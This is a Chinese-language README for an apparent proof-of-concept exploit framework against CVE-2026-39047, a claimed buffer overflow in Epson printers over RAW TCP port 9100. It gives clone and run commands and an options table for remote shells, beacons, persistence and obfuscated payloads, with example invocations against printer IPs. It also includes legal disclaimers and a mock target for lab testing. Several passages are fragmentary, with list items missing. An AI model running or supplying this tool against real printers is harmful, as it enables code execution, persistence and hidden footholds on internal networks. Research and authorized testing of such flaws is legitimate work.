爱普生打印机RAW协议漏洞利用框架
仓库: https://github.com/J4ck3LSyN-Gen2/CVE-2026-39047
PoC脚本: poc.py
模拟目标: mock_printer.py
作者: J4ck3LSyN
该框架演示了CVE-2026-39047漏洞——爱普生多功能打印机(特别是L14150 FL27PB)在处理RAW TCP打印协议(通常端口9100)上的畸形或超大负载时存在的远程缓冲区溢出。
成功利用可导致打印机嵌入式环境中的任意代码执行,实现:
PoC专注于传输帧封装、负载混淆、模糊测试技术以及分阶段后利用行为,适用于红队演练、漏洞研究和防御测试。
[!WARNING]
- 此工具可能(并将)导致易受攻击的打印机上的远程代码执行(RCE)。
- 未经授权的__使用、扫描_或_利用_您__不__拥有或__未获得明确书面许可__测试的系统是__非法的 并可能违反__计算机欺诈和滥用法_(例如美国的__CFAA__)、数据保护法规__和__组织政策。
作者__对因使用或滥用此代码造成的任何_损害、数据丢失、服务中断_或_法律后果__不承担任何责任。- 仅在您控制的设备的__隔离实验室__环境中使用。
- 在任何测试前__务必__获得__明确授权__。
- 代码包括_试运行_和_被动_模式以辅助__安全__分析。
强烈鼓励负责任的披露和道德使用。- 一旦供应商提供更新,请及时修补设备。
- 打印机通常位于内部网络中,拥有高信任度和有限的监控,使其成为有吸引力的攻击面。
参考:
PRT2协议)。mock_printer.py,用于安全本地测试(在超大负载时崩溃)。socket, asyncio, argparse, zlib, hashlib 等。)克隆仓库:
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2026-39047.git
cd CVE-2026-39047
使脚本可执行:
chmod +x poc.py mock_printer.py
(可选)在一个终端中使用模拟打印机测试:
./mock_printer.py
./poc.py -t <TARGET_IP> [OPTIONS]
| 选项 | 描述 |
|---|---|
-t, --target | 目标IP地址(必需) |
-p, --port | 端口(默认:9100) |
--passive | 被动侦察模式(仅发送探测负载) |
--fuzz | 启用多技术模糊测试 |
--hijack | 启用后利用分阶段 |
--objective | stage1 | shell | beacon | persistence |
--callback | 可选的回调标识符/字符串 |
--capability | minimal | busybox | linux(影响命令包装) |
--dry-run | 生成负载但不发送 |
--techniques | 空格分隔的列表(例如 cyclic format sled random) |
--delay | 负载之间的延迟秒数(默认:1.6) |
示例:
基本基线测试:
./poc.py -t 192.168.1.100
模糊测试运行:
./poc.py -t 192.168.1.100 --fuzz --techniques cyclic random
分阶段劫持(仅实验室):
./poc.py -t 192.168.1.100 --hijack --objective shell --dry-run
使用模拟目标进行全面行动:
# 终端 1
./mock_printer.py
# 终端 2
./poc.py -t 127.0.0.1 --fuzz --hijack --objective stage1
bTransportFrame() 使用 PRT2 头部 + 长度包装负载。lObf): zlib 压缩 → 动态 XOR 掩码(种子衍生)→ Base64。gModernPayload() 和 gPostPayload() 用于各种模式和分阶段命令。有关更详细的细节,请参阅内联文档字符串和代码注释。
PRT2帧模式。此PoC严格仅供教育、研究和授权安全测试目的。滥用可能导致严重后果。仓库所有者对造成的任何损害不承担责任。